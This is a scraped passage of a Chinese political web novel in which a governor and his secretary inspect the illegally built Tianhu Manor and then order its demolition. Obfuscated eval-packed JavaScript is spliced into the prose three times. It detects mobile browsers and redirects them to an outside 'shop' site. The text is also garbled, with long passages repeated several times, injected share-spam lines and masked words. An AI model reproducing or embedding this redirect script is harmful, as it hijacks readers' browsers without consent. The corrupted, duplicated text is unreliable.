想要得知天湖庄园的确切位置并不难,宫庆鑫就曾被邀请过。 李承记得,宫庆鑫曾提到,他妻子去过一次。 但这种话,李承不能对孟良德说,有损宫庆鑫在领导心中的印象。 出了省长办公室,李承给宫庆鑫发去一条消息,询问位置。 宫庆鑫也没多问,就跟李承讲述了一个大概。 那里在地图上没有定位,只能靠着摸索过去。 晚上。 李承和孟良德回到迎宾馆,在这里吃过晚饭,两个人下了几盘棋,直到临近夜晚十点才出发。 深夜去天湖庄园,算是微服私访,自然不可能坐孟良德的二号专车。 李承为司机,开着许梦的高尔夫,按照宫庆鑫提供的路线,两人来到凤凰岭。 “老板,这好像有眼线。 汽车刚驶入凤凰岭的山路,就看到道边停着一台商务车。 车灯是关着的,但因为气温还未渐暖,夜晚的温度还处于零下,所以,车是打着火的。 有尾气顺着车屁股飘出。 “嗯,这些人很谨慎嘛。 孟良德顺着车玻璃看去,但因为对方贴了防窥膜,并看不到车内的人员。 李承的车,速度并不快。 宫庆鑫只说,上山两公里左右,道路右侧有一条小路。 具体这个路在哪,李承不得而知,只能慢慢开,一点点找。 行驶了三分钟左右,在李承的观察下,看到了那条路。 “老板,拐进去吗?李承问。 “都到这里了,去看看。 得到孟良德的点头,李承将汽车驶入了那条小路。 汽车只是行驶了两百米左右,远远的,能看到天湖庄园内部的灯火辉煌,却距离大门还有一定距离时。 一道门阀将李承的汽车拦 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 在外面。 一名安全人员从岗亭中走了出来,敲了敲李承主驾驶的车窗:“干什么的?” “领导给我打电话,让我来接一下。”李承随机应变,说。 “哪位领导?”保安再次询问。 “省委的张大秘。” 李承灵机一动,报上了张英双的名号。 张英双为人张扬,最容易被这些底层保安们记住。 上次在牡丹会的酒宴中,李承也确定,张英双不是什么省油的灯,应该会是天湖庄园的常客。 “张大秘书今天没过来呀?”保安皱着眉头,略作思索,说。 “可能你没看到他进来吧,他刚给我打完电话,叫我来接。”李承准备蒙混过关。 “稍等,我询问一下。” 李承猜得不错,张英双果然是这里的常客。 只是,这里把控的严苛程度超出了他的想象,没那么好糊弄。 “行政,行政,省委张秘书有安排车辆过来接吗?车牌号为东·A4845C。” 闻言,李承和孟良德相识一眼,都认为今天以私访的名义,无法进入附近观看。 “好的,收到。” 保安在跟对方确认后,却出人意料地冲保安亭作了一个手势。 紧接着,杆被缓缓抬起。 保安敬了一个标准的军礼,目送李承的车驶入。 李承心中猜想:这张秘书,难不成真在里面,让我蒙对了? 但他也踩下了油门,朝内部开去。 “看来,你的车被认了出来。” 孟良德并不认为是张英双在内部,给出了与李承猜想不同的看法。 “我没来过这个地方,许梦也一定没来过。”李承解释。 他怕孟良德是误以为李承这台车到达过此处。 对此,孟良德没有给出解释。 汽车到达天湖庄园正门前,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148959|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里不再是门阀,而是一扇厚重的铁门。 此时,花海集团董事长李美娇和几名下属已经站到了门口。 李承拉开车门,主动下了车。 “李秘书,好久不见。” 李美娇主动迎了上来,脸上挂着妩媚的笑容:“您可好久没来了。” “好久没来?李总,您记错了吧,我还是第一次到这里。” 李承心中一惊,暗骂这女人歹毒,居然要害自己。 “您就别开玩笑了,姗姗跟我提过你好几次呢,说她想你了,哈哈哈.” 李美娇嫣然一 听说看这本书的人都是很幸运的,分享后你的运气会更棒 笑,笑容里透露着狡黠:“今晚还是老样子吗?” 接连被诬陷,李承额头也渗出了冷汗。 孟良德就在车里坐着,如果让他误会李承是天湖庄园的常客,那就麻烦了。 可这个时候,越是辩解,反而可能是越描越黑。 李承索性心一横,说:“嗯,那就按照你口中的老样子,给我安排一下。” “哈哈哈,那您车上的朋友,要不要也安排一套呢?” 从李承的汽车驶入凤凰岭,车内的人员动态,就在李美娇的掌控中。 除了那台商务车作为眼线外,这段路程里,还有监控。 “好啊,那就给我也安排一套,不用太高的标准,就跟钱秘书一样就好。” 孟良德拉开车门,走下了车。 他的目光,望向了天湖庄园深处。 闻言,李承的目光也随之看了过去,在那里,李承看到了常务副省长徐铁生的秘书,钱江。 此时的钱江,正坐在一台帕萨特的主驾驶上,准备倒车。 他享受完天湖庄园的公关服务后,本打算离开,却发现李美娇等人站在大门口。 本来他是伸出头,想看看情况。 结果,却跟刚下车的孟良德对视上了。 孟良德的声音很大,清晰地传入了钱江的耳朵里。 他在纠结下车打招呼,还是躲避的两种选择中,最后选择了后者,倒车逃离了几人的视线。 “孟省长,您看错了吧,这里哪有什么钱秘书,只有您的李秘书。” 第258章 优秀功绩? “我跟李总也是老熟人了,方便请我进去喝杯茶吧?” 孟良德没在意李美娇的故意诬陷。 他心里很清楚对方的小伎俩。 当然,李美娇也想过三言两语就能破坏李承在孟良德心中的信任。 她刚刚那么说,就是存心恶心一下李承。 “方便,您能赏脸到我这里喝茶,是我们庄园的荣幸。” 李美娇清楚孟良德来者不善,可事到如今,她也不能拒之门外。 只好兵来将挡,水来土掩,随机应变。 李美娇给身边副手低了一个眼色过去,副手会意,匆匆离开。 “请吧,孟省长。” 在李美娇的引路上,他们进入天湖庄园的内部。 仅仅是从外部观看,这里的豪华程度,就远超李承幻想中的景象。 进入主楼内部,里面金碧辉煌,大气磅礴。 远比李承在汉江市区,去过的那些高端场所要豪华得多。 汉将公关天堂的名头,名不虚传。 “孟省长,您平时喜欢喝什么茶?我让人去安排。”李美娇细心地问。 “这么晚了,茶就不喝了,免得睡不着觉。” 孟良德婉拒了李美娇:“我呀,久闻你们天湖庄园的名气,就想进来逛一逛,开开眼界。” 孟良德压根没有按照李美娇带领的路线走,随意地四处闲逛起来。 “省长您真会说笑,我们这些企业还要跟您涨眼界呢。” 李美娇脸上保持着微笑,紧跟孟良德的步伐。 可她的心情,却随着孟良德逐渐靠近招待区域,悬了起来。 虽说她已经吩咐副手传达消息,但她仍担心再出现刚才撞见钱秘书那种情况。 在这种地方,哪位官员与孟良德这位封疆大吏碰面,都不会有太好的下场。 “孟省长,您看您也走了这么久了,要不去坐一会儿,歇歇脚?” 逛了二十几分钟,李美娇从服务人员手中接过水,亲自递给孟良德:“正好,关于明月新区的规划,我想跟您请教请教。” “工作上的事情,你跟李秘书约一下时间,到我办公室来谈。” 孟良德接过李美娇递来的水,随手转交到李承手里。 他抬起手臂,看了一眼腕表上的时间,意味深长地说:“时间不早了,我在这里打扰怕是会打扰李总做生意,就先走了。” “不打扰,您来了,我们才会蓬荜生辉嘛。”李美娇谄媚道。 嘴上这么说,听到孟良德要走,她还是松了一口气。 “我来了,别人就不敢来了,来了的人,怕也不敢走了。”孟良德轻笑一声,朝着门口的方向走去。 李美娇亲自相送,将孟良德和李承送出门外。 站在大门口,孟良德停下了脚步,他目光环视一周,说:“李总很会选址嘛,天湖庄园的位置,放眼整个汉江周边,也找不出第二块这样的风水宝地。” 这句话,看似是夸赞,实则是在说李美娇非法毁林占地。 “是呀,是一块风水宝地。” 李美娇妩媚一笑,精明的她,已经洞察到孟良德话中所指。 她也推测到,孟良德已经知晓这块地的非法性质。 她大脑一转,笑容更加灿烂,声音更加温柔:“这种宝地,我们花海集团自然是无福消受,土地是国有的,我们投入的是文旅建筑。 当初建设这里时,我跟李省长已经谈好了,等到经营回本后,就将这里捐献给政府,打造文旅度假区。 说实话,我对这里是有感情的,虽然当初没签协议,但作为企业家,要有一份担当,经商更要守住诚信。 预计今年七月份左右就能回本,我还打算到时候亲自去拜访您,谈一下交接和后续文旅打造的事情呢。” 听到李美娇急中生智的说辞,李承发自内心地赞叹这女人的应变能力。 先是扯起李雪忠的虎皮,将非法毁林的问题,全部归咎在李雪忠身上。 再以捐献和文旅做幌子,给自己披上一个良心企业家的人设。 到最后,她这个非法毁林,违规建筑的罪魁祸首,在一番冠冕堂皇的解释后,反倒是好像卖孟良德一个人情。 这种毁坏生态保护林,建筑的行为,私人是要面临法律处罚的,要承担刑事责任。 可收归国有,以政府的名义打造成旅游度假区,就没那么多限制了。 如果未来这里经营良好,甚至还能成为孟良德的一个微小功绩。 但实际上,李美娇这么讲,主要是想拖延时间,她可舍不得将重金打造的天湖庄园拱手相送。 她知道孟良德大概率要被调任回京,省长之位多半要顺位给常务副省长徐铁生,到那时候,这个捐献也就不作数了。 “呵呵呵李总不愧是东江省的优秀企业家,觉悟很高呀。” 孟良德在笑,可笑声却异常的冷漠:“但这个交接,你得去找李雪忠谈,这是他的优秀功绩。” 优秀功绩? 多么讽刺的四个字。 孟良德已然表现出自己的态度,李美娇也没再多言,目送二人离开。 “明天让刘宝林来见我。” 回迎宾馆的路上,孟良德对李承吩咐道。 对于天湖庄园这个违规建筑,**窝点,他要查,而且是严查。 但查得违规占地问题,而非****的问题。 想查贪腐,今晚孟良德就不会和李承只身前往。 他很清楚,在这种荒郊野外,贪腐不好查。 天湖庄园建筑在这里,就一定有暗道,调查的车队刚进入凤凰岭,那群人就会跑光。 而查非法毁林占地,省政府主要是监管,具体要由汉江市政府去落实。 “好的,老板。” 送完孟良德,李承回到家已经是凌晨。 房间灯是关着的,想来许梦已经入睡。 李承洗漱后,也钻进被窝里躺下。 疲惫了一天,头刚沾到枕头上,那股强忍着的困意席卷全身。 他沉沉地睡了过去。 刚睡下没一会儿,李承便感觉身体一阵酥麻,他恍恍惚惚地睁开眼睛,本能的看向枕边,却并未发现许梦的身影。 原以为是梦境中的酥麻过,却依旧源源不断地涌入大脑。 猛然间,他掀开被子。 透过微弱的月光,他看到许梦那张着嘴巴的魅惑姿态. 多么讽刺的四个字。 孟良德已然表现出自己的态度,李美娇也没再多言,目送二人离开。 “明天让刘宝林来见我。” 回迎宾馆的路上,孟良德对李承吩咐道。 对于天湖庄园这个违规建筑,**窝点,他要查,而且是严查。 但查得违规占地问题,而非****的问题。 想查贪腐,今晚孟良德就不会和李承只身前往。 他很清楚,在这种荒郊野外,贪腐不好查。 天湖庄园建筑在这里,就一定有暗道,调查的车队刚进入凤凰岭,那群人就会跑光。 而查非法毁林占地,省政府主要是监管,具体要由汉江市政府去落实。 “好的,老板。” 送完孟良德,李承回到家已经是凌晨。 房间灯是关着的,想来许梦已经入睡。 李承洗漱后,也钻进被窝里躺下。 疲惫了一天,头刚沾到枕头上,那股强忍着的困意席卷全身。 他沉沉地睡了过去。 刚睡下没一会儿,李承便感觉身体一阵酥麻,他恍恍惚惚地睁开眼睛,本能的看向枕边,却并未发现许梦的身影。 原以为是梦境中的酥麻过,却依旧源源不断地涌入大脑。 猛然间,他掀开被子。 透过微弱的月光,他看到许梦那张着嘴巴的魅惑姿态. 多么讽刺的四个字。 孟良德已然表现出自己的态度,李美娇也没再多言,目送二人离开。 “明天让刘宝林来见我。” 回迎宾馆的路上,孟良德对李承吩咐道。 对于天湖庄园这个违规建筑,**窝点,他要查,而且是严查。 但查得违规占地问题,而非****的问题。 想查贪腐,今晚孟良德就不会和李承只身前往。 他很清楚,在这种荒郊野外,贪腐不好查。 天湖庄园建筑在这里,就一定有暗道,调查的车队刚进入凤凰岭,那群人就会跑光。 而查非法毁林占地,省政府主要是监管,具体要由汉江市政府去落实。 “好的,老板。” 送完孟良德,李承回到家已经是凌晨。 房间灯是关着的,想来许梦已经入睡。 李承洗漱后,也钻进被窝里躺下。 疲惫了一天,头刚沾到枕头上,那股强忍着的困意席卷全身。 他沉沉地睡了过去。 刚睡下没一会儿,李承便感觉身体一阵酥麻,他恍恍惚惚地睁开眼睛,本能的看向枕边,却并未发现许梦的身影。 原以为是梦境中的酥麻过,却依旧源源不断地涌入大脑。 猛然间,他掀开被子。 透过微弱的月光,他看到许梦那张着嘴巴的魅惑姿态. 多么讽刺的四个字。 孟良德已然表现出自己的态度,李美娇也没再多言,目送二人离开。 “明天让刘宝林来见我。” 回迎宾馆的路上,孟良德对李承吩咐道。 对于天湖庄园这个违规建筑,**窝点,他要查,而且是严查。 但查得违规占地问题,而非****的问题。 想查贪腐,今晚孟良德就不会和李承只身前往。 他很清楚,在这种荒郊野外,贪腐不好查。 天湖庄园建筑在这里,就一定有暗道,调查的车队刚进入凤凰岭,那群人就会跑光。 而查非法毁林占地,省政府主要是监管,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148960|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体要由汉江市政府去落实。 “好的,老板。” 送完孟良德,李承回到家已经是凌晨。 房间灯是关着的,想来许梦已经入睡。 李承洗漱后,也钻进被窝里躺下。 疲惫了一天,头刚沾到枕头上,那股强忍着的困意席卷全身。 他沉沉地睡了过去。 刚睡下没一会儿,李承便感觉身体一阵酥麻,他恍恍惚惚地睁开眼睛,本能的看向枕边,却并未发现许梦的身影。 原以为是梦境中的酥麻过,却依旧源源不断地涌入大脑。 猛然间,他掀开被子。 透过微弱的月光,他看到许梦那张着嘴巴的魅惑姿态. 多么讽刺的四个字。 孟良德已然表现出自己的态度,李美娇也没再多言,目送二人离开。 “明天让刘宝林来见我。” 回迎宾馆的路上,孟良德对李承吩咐道。 对于天湖庄园这个违规建筑,**窝点,他要查,而且是严查。 但查得违规占地问题,而非****的问题。 想查贪腐,今晚孟良德就不会和李承只身前往。 他很清楚,在这种荒郊野外,贪腐不好查。 天湖庄园建筑在这里,就一定有暗道,调查的车队刚进入凤凰岭,那群人就会跑光。 而查非法毁林占地,省政府主要是监管,具体要由汉江市政府去落实。 “好的,老板。” 送完孟良德,李承回到家已经是凌晨。 房间灯是关着的,想来许梦已经入睡。 李承洗漱后,也钻进被窝里躺下。 疲惫了一天,头刚沾到枕头上,那股强忍着的困意席卷全身。 他沉沉地睡了过去。 刚睡下没一会儿,李承便感觉身体一阵酥麻,他恍恍惚惚地睁开眼睛,本能的看向枕边,却并未发现许梦的身影。 原以为是梦境中的酥麻过,却依旧源源不断地涌入大脑。 猛然间,他掀开被子。 透过微弱的月光,他看到许梦那张着嘴巴的魅惑姿态. 多么讽刺的四个字。 孟良德已然表现出自己的态度,李美娇也没再多言,目送二人离开。 “明天让刘宝林来见我。” 回迎宾馆的路上,孟良德对李承吩咐道。 对于天湖庄园这个违规建筑,**窝点,他要查,而且是严查。 但查得违规占地问题,而非****的问题。 想查贪腐,今晚孟良德就不会和李承只身前往。 他很清楚,在这种荒郊野外,贪腐不好查。 天湖庄园建筑在这里,就一定有暗道,调查的车队刚进入凤凰岭,那群人就会跑光。 而查非法毁林占地,省政府主要是监管,具体要由汉江市政府去落实。 “好的,老板。” 送完孟良德,李承回到家已经是凌晨。 房间灯是关着的,想来许梦已经入睡。 李承洗漱后,也钻进被窝里躺下。 疲惫了一天,头刚沾到枕头上,那股强忍着的困意席卷全身。 他沉沉地睡了过去。 刚睡下没一会儿,李承便感觉身体一阵酥麻,他恍恍惚惚地睁开眼睛,本能的看向枕边,却并未发现许梦的身影。 原以为是梦境中的酥麻过,却依旧源源不断地涌入大脑。 猛然间,他掀开被子。 透过微弱的月光,他看到许梦那张着嘴巴的魅惑姿态. 多么讽刺的四个字。 孟良德已然表现出自己的态度,李美娇也没再多言,目送二人离开。 “明天让刘宝林来见我。” 回迎宾馆的路上,孟良德对李承吩咐道。 对于天湖庄园这个违规建筑,**窝点,他要查,而且是严查。 但查得违规占地问题,而非****的问题。 想查贪腐,今晚孟良德就不会和李承只身前往。 他很清楚,在这种荒郊野外,贪腐不好查。 天湖庄园建筑在这里,就一定有暗道,调查的车队刚进入凤凰岭,那群人就会跑光。 而查非法毁林占地,省政府主要是监管,具体要由汉江市政府去落实。 “好的,老板。” 送完孟良德,李承回到家已经是凌晨。 房间灯是关着的,想来许梦已经入睡。 李承洗漱后,也钻进被窝里躺下。 疲惫了一天,头刚沾到枕头上,那股强忍着的困意席卷全身。 他沉沉地睡了过去。 刚睡下没一会儿,李承便感觉身体一阵酥麻,他恍恍惚惚地睁开眼睛,本能的看向枕边,却并未发现许梦的身影。 原以为是梦境中的酥麻过,却依旧源源不断地涌入大脑。 猛然间,他掀开被子。 透过微弱的月光,他看到许梦那张着嘴巴的魅惑姿态. 第259章 处分建议 “小馋猫。 李承伸手扯住许梦的胳膊,将她拉到自己面前。 另一只手揽过她纤细腰肢,让她软弱的身体贴合在自己的胸膛之上。 “谁让你回来这么晚的,这是给你的惩罚!许梦舔了舔自己的嘴唇,嘴巴贴到李承的耳边,柔声入骨。 “这是奖励! 李承翻身压在她的娇躯之上,吻了下去. 细碎的气音,混合着轻颤的哼唧,随呼吸从许梦的喉咙轻飘出来。 声音飘入李承的耳朵里,是那样的悦耳,让他为之奋力。 一阵翻云覆雨后,许梦趴在李承的肩膀上,身躯滚烫。 “怎么回来这么晚?她娇滴滴地问。 “陪老板去了一趟天湖庄园。李承也没隐瞒,如实说。 “是去查非法占地吗? 许梦顿时打起精神,问。 天湖庄园非法占地一事被彻查,这对许梦的网红之路将是一次机遇。 肯定能圈粉无数。 “对。 李承微微点头:“答应你的事情,我当然记在心里了。 这话是为了哄许梦开心。 天湖庄园本身存在非法性质,又是李美娇旗下产业,即便许梦不能从中获得名誉,李承得知这个消息后,也会传达给孟良德。 这是形势下的必然。 “老公,你真好。 许梦在李承的侧面上吻了一口,期待地问:“到时候,我可以作为主持人,去跟进报道吗? 如果可以跟进报道,去一趟天湖庄园,她的短视频内容会有很多素材。 “嗯,我尽量安排。 说李承没私心是假。 许梦是他的未婚妻,李承当然会尽可能地支持许梦的事业。 但这一切都有前提,那就是不违反纪律。 次日。 来到省政府,拿到孟良德今日的行程安排后,李承给市政府打了通电话过去。 将孟省长约见刘宝林的消息传达过去。 上午十点四十分,刘宝林提前十分钟,赶到省政府秘书间。 关于昨晚孟良德夜访天湖庄园一事,他已有耳闻。 天湖庄园违规毁林占地,毁的是汉江的保护林,占了是汉江的地,问责下来,他这位市长难辞其咎。 “刘市长,您来得够早了。 “呵呵.省长召见,当然要早点过来。 刘宝林挤出 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 一个笑容他看了一眼孟良德办公室的门问:“省长在忙吗?” “省长刚开完会议去洗手间了。”李承说。 “省长今天的心情怎么样?”刘宝林低声询问。 他知道自己今天免不了一顿挨批所以才问一下孟良德的情绪。 如果是高兴说不定能少说他几句。 不高兴的话他也要做好检讨的准备。 “还行。” 李承给出了一个中规中矩的回答。 刘宝林感觉自己问了句废话便坐在沙发上等待起来。 五分钟后孟良德回到办公室。 “孟省长。”刘宝林连忙起身像他问好。 “嗯进来说。” 孟良德微微点头回到了自己的办公室。 他并没有在招待区域会见刘宝林而是坐在了办公桌前。 两个区域都属于谈话区可情况却是截然不同的。 在招待区谈话 可在办公桌前谈话那就是彰显上位者和下属的身份差距。 更多的是质问是命令是批评教育! “天湖庄园这个地方你知道吗?”孟良德坐在后开门见山地问。 刘宝林屁股还没坐稳被孟良德以质问的口吻问话他身体微微僵直:“呃听说过。” 一个空降省长都听闻了他这个市长如果说不知情那就是把省长当傻子骗。 只会引起孟良德的反感愤怒所以他只能表示知情。 “听说过还是去过?”孟良德冷声问。 “听过没去过那里名声不好不敢去。”刘宝林谨慎的回答道。 “也就是说有人邀请你去过?”孟良德再次追问。 “嗯。” 刘宝林没否认。 “那你知道那里的土地是什么性质吗?”孟良德凝视着刘宝林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153031|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续问。 接连的提问中都带着杀招。 饶是刘宝林心里素质不错额头也渗出了丝丝冷汗:“知道。” 当初市里将那片保护林区承包给花海集团时刘宝林还打过招呼他想不认都不行。 “既然你什么都知道你作为汉江市长就这么坐视不管?”孟良德冷哼一声言辞十分犀利。 “我想管可上任省长李雪忠打过招呼我一个下属不敢违命呀。” 正所谓墙倒众人 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 推,李雪忠被抓后,所有的黑锅,也都全部扣在了他的头上。 那位昔日的东江省二把手,成为了挡箭牌。 “刘宝林,你觉得自己有苦衷是吗?” 孟良德眼神锐利地盯着刘宝林,问:“那我问你,在你心里是法律的底线重要,还是上属领导的招呼重要?” 这个问题,如利刃一般,直插在刘宝林心头。 就连站在一旁的李承,也对此感到十分棘手。 法律底线的重要性,那是原则,一定是法律重要,这一点毋庸置疑。 恰恰,刘宝林没有守住法律底线,而是听从了上属领导的招呼。 在这个问题上,对刘宝林来讲是死题。 可换位思考一下,当初接到李雪忠招呼的刘宝林,又能怎么选择呢? 坚持维护底线,去得罪一位如日中天,在东江权势甚至压过一把手的一言堂领导? 那么,等待他的,可能是调任或撤职。 以李雪忠当时的权力把度,他不会允许一个不听话的人,做汉江的市长! “孟省长,我检讨,这件事是我的错,我愿意接受组织的处分。” 对此,刘宝林只能低着头,以最诚恳的态度去认错。 想用认错态度去平息孟良德的愤怒。 “李秘书,你觉得像张市长这种情况,应该给什么样的处分?”孟良德喝了一口水,将目光看向身旁站着的李承,问。 闻言,李承微微一怔。 他一个副处级,提一个关于省会城市市长的处分建议,那不是玩笑吗? 第260章 将功补过 孟良德能问到他,自然就有孟良德的道理。 李承很清楚一点,今天孟良德叫刘宝林来,不是问责。 孟良德问他的原因,无非是想从让李承卖刘宝林一个人情。 这样一来,孟良德即便回京任职后,李承也能给这些人留下好印象,积累人脉,方便日后开展工作。 顺便,从李承这里得到一个台阶。 “省长,我个人认为,刘市长在当初那样的**环境下,做出这种妥协也是被迫之举。 就算刘市长不遵从,也阻止不了天湖庄园的建设。” 李承领悟孟良德的意思后,以客观的角度,说。 闻言,刘宝林向李承投去一个感激的眼神,在这种时刻,他对李承的感激发自内心。 “嗯。” 孟良德点了点头,目光转向刘宝林:“刘宝林,我给你一个将功补过的机会,一周时间内,推平天湖庄园,恢复林区面貌。” 孟良德口中的推平,并非将天湖庄园收归国有。 而是爆破建筑,将天湖庄园从凤凰岭彻底抹平! “是,省长。”刘宝林点头答应。 “如果完不成,我会向省委提议,让你跟建军同志一起退居二线。”孟良德说。 “孟省长,我保证完成任务。” “回去吧。” 得到孟良德的许可,刘宝林起身告辞。 在他离去的背景中,李承看到了颓废和无奈。 推平天湖庄园,谈何容易呀? 他那么做了,要毁掉很多人的蛋糕,得罪很多人。 可孟良德已经下了死命令,他又不得不去执行。 “省长,天湖庄园就那么推平了,是不是太可惜了?”李承忍不住地说。 昨天是夜晚过去,李承并没有见到天湖庄园的全部面貌,但仍给李承带来了震撼。 里面的奢华程度,超出了他的想象。 如果可以将那里收归国有,打造成一个旅游度假区,每年能给汉江市带去不少的利润。 “摧毁是捍卫法律底线,是公共利益和社会公平的必然选择,不能用金钱来衡量。” 孟良德态度坚决,天湖庄园,他势必要推为平地。 “嗯,明白。” 道理李承都懂,他只是觉得摧毁过于可惜。 天湖庄园对于生态环境的破坏已成事实,爆破摧毁也无济于事。 晚上,李承和孟良德回到迎宾馆。 令李承意外的是,今天是 周五,孟良德居然没有回京城。 这涉及到老板的家事,李承也不好多嘴。 回到迎宾馆,省委秘书长周厚信正等候于此。 “孟省长。” 周厚信快步迎上孟良德,主动与其握手。 “老周,你怎么来了?也不提前打个招呼。”孟良德与他握了一下手。 “刚从洪波**那里从出来,想着我们两位老朋友好久没见了,过来看看您。”周厚信说。 省委**马洪波,和省长孟良德都住在同一个省级干部生活区,距离不远。 “没吃饭呢吧?晚上留下了吃。”孟良德邀请道。 “好呀。” 见周厚信没拒绝,孟良德看向身边的李承:“小李,你去告诉厨房,让她们多准备几道菜。” “好的老板。” 李承去吩咐厨房,孟良德则跟周厚信进入休息区,去下围棋。 交代好厨房,李承回到休息区,说:“老板,没其他事,那我就先回去了。” 省委秘书长是省委**,两位大领导吃饭谈话,他一个秘书不适合参和。 “老周不是外人,晚上没事就留下来吃吧。”孟良德专注地下着棋,随口道。 “嗯,那好。” 孟良德开口留他,就证明这个饭局方便让他参与。 甚至于,需要他这个外人的参与,来堵住周厚信的一些话。 两个人下了一盘棋,饭菜也做好了。 饭桌上,李承充当着服务员,服务两位领导。 一番闲聊后,周厚信切入话题:“良德同志,听说您昨天去了天湖庄园视察,结果如何呀?” “让我刮目相看,没想到这繁华都市之外,还藏着这样一块宜居之地。 论东江省的经济发展落后,但论起享受,我们东江省的干部很引领潮流嘛。” 孟良德脸上挂着笑,语气里皆是讥讽。 他是恨不得把天湖庄园的招待名单查个水落石出,搞一次大清洗。 但调查难度大,取证困难,需要时间过长,想查出来的概率微乎其微。 就算名单真调查出来,如何处置也是问题,大批量处分,很可能导致机关单位停摆。 综合各种因素考虑,孟良德才放弃了这种想法。 “呵呵呵这都是雪忠同志给我们留下的‘优良’**遗产呀。” 周厚信调侃了一句,继续说:“今天下午,花海集团的李美娇去了省委,见了洪波**。 这位 商人很有头脑,她说,天湖庄园的建设是公益性的文旅项目,是与雪忠同志达成过共识的。 她提出了两个方案,第一条,是在今年七月份时,将天湖庄园归还政府经营。 第二条,是政府以租赁形式交给花海集团经营,每年租金一个亿!” “出手很阔绰呀。”孟良德感叹道。 坐在一旁的李承,也是一阵唏嘘。 天湖庄园属于非盈利场所,它是花海集团专门用来公关的。 每年一个亿的租金,三四年的租金,就足够花海集团在其他地方再建设一个天湖庄园出来。 但李美娇不是冤大头,这里面藏着她的智慧。 政府如果跟她签署了租赁合作,天湖庄园的土地合法性就成立了。 而且,这笔钱,也相当于是一种‘保护费’,成为天湖庄园的护身符。 “一个非盈利场所,她愿意开价一个亿,足以见得她在天湖庄园里,通过其他方式捞到了多少好处。” 孟良德暗指****。 “是否有其他获利,这个我们目前没办法考证。”周厚信道,话中带着偏袒的意思。 孟良德微微点头,开口询问:“对于里李美娇的提议,洪波**什么态度?” 摧毁天湖庄园,孟良德势在必行。 可省委的态度,他不得不考虑 商人很有头脑,她说,天湖庄园的建设是公益性的文旅项目,是与雪忠同志达成过共识的。 她提出了两个方案,第一条,是在今年七月份时,将天湖庄园归还政府经营。 第二条,是政府以租赁形式交给花海集团经营,每年租金一个亿!” “出手很阔绰呀。”孟良德感叹道。 坐在一旁的李承,也是一阵唏嘘。 天湖庄园属于非盈利场所,它是花海集团专门用来公关的。 每年一个亿的租金,三四年的租金,就足够花海集团在其他地方再建设一个天湖庄园出来。 但李美娇不是冤大头,这里面藏着她的智慧。 政府如果跟她签署了租赁合作,天湖庄园的土地合法性就成立了。 而且,这笔钱,也相当于是一种‘保护费’,成为天湖庄园的护身符。 “一个非盈利场所,她愿意开价一个亿,足以见得她在天湖庄园里,通过其他方式捞到了多少好处。” 孟良德暗指****。 “是否有其他获利,这个我们目前没办法考证。”周厚信道,话中带着偏袒的意思。 孟良德微微点头,开口询问:“对于里李美娇的提议,洪波**什么态度?” 摧毁天湖庄园,孟良德势在必行。 可省委的态度,他不得不考虑 商人很有头脑,她说,天湖庄园的建设是公益性的文旅项目,是与雪忠同志达成过共识的。 她提出了两个方案,第一条,是在今年七月份时,将天湖庄园归还政府经营。 第二条,是政府以租赁形式交给花海集团经营,每年租金一个亿!” “出手很阔绰呀。”孟良德感叹道。 坐在一旁的李承,也是一阵唏嘘。 天湖庄园属于非盈利场所,它是花海集团专门用来公关的。 每年一个亿的租金,三四年的租金,就足够花海集团在其他地方再建设一个天湖庄园出来。 但李美娇不是冤大头,这里面藏着她的智慧。 政府如果跟她签署了租赁合作,天湖庄园的土地合法性就成立了。 而且,这笔钱,也相当于是一种‘保护费’,成为天湖庄园的护身符。 “一个非盈利场所,她愿意开价一个亿,足以见得她在天湖庄园里,通过其他方式捞到了多少好处。” 孟良德暗指****。 “是否有其他获利,这个我们目前没办法考证。”周厚信道,话中带着偏袒的意思。 孟良德微微点头,开口询问:“对于里李美娇的提议,洪波**什么态度?” 摧毁天湖庄园,孟良德势在必行。 可省委的态度,他不得不考虑 商人很有头脑,她说,天湖庄园的建设是公益性的文旅项目,是与雪忠同志达成过共识的。 她提出了两个方案,第一条,是在今年七月份时,将天湖庄园归还政府经营。 第二条,是政府以租赁形式交给花海集团经营,每年租金一个亿!” “出手很阔绰呀。”孟良德感叹道。 坐在一旁的李承,也是一阵唏嘘。 天湖庄园属于非盈利场所,它是花海集团专门用来公关的。 每年一个亿的租金,三四年的租金,就足够花海集团在其他地方再建设一个天湖 